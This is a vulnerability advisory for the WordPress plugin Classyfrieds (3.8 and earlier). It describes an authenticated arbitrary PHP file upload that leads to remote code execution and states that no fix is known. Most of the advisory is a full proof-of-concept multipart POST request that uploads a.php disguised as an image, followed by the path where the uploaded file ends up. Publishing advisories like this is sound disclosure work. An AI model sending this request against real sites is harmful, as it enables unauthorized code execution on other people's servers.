WordPress Plugin Vulnerabilities

Classyfrieds <= 3.8 - Authenticated Arbitrary File Upload to RCE

Description

The plugin does not properly check the uploaded file when an authenticated user adds a listing, only checking the content-type in the request. This allows any authenticated user to upload arbitrary PHP files via the Add Listing feature of the plugin, leading to RCE.

Proof of Concept

POST /add_a_listing/ HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------1762054704257995540849839116
Content-Length: 1092
Connection: close
Cookie: [any authenticated user]
Upgrade-Insecure-Requests: 1

-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="titel"

UnexistingTitle
-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="omschrijving"

aa
-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="foto"; filename="a.php"
Content-Type: image/png

<?php echo 'FAILED'; ?>

-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="contactname"

user
-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="featured"

yes
-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="classyfried-field"

afbeef4ad0
-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="toevoegen"

submit data
-----------------------------1762054704257995540849839116--



The uploaded PHP file will be at https://example.com/wp-content/uploads/classyfrieds/user/a.php

Affects Plugins

No known fix

References

Miscellaneous

Original Researcher
Jin Huang
Submitter
Jin Huang
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2021-04-10 (about 3 years ago)
Added
2021-04-12 (about 3 years ago)
Last Updated
2021-04-14 (about 3 years ago)

Other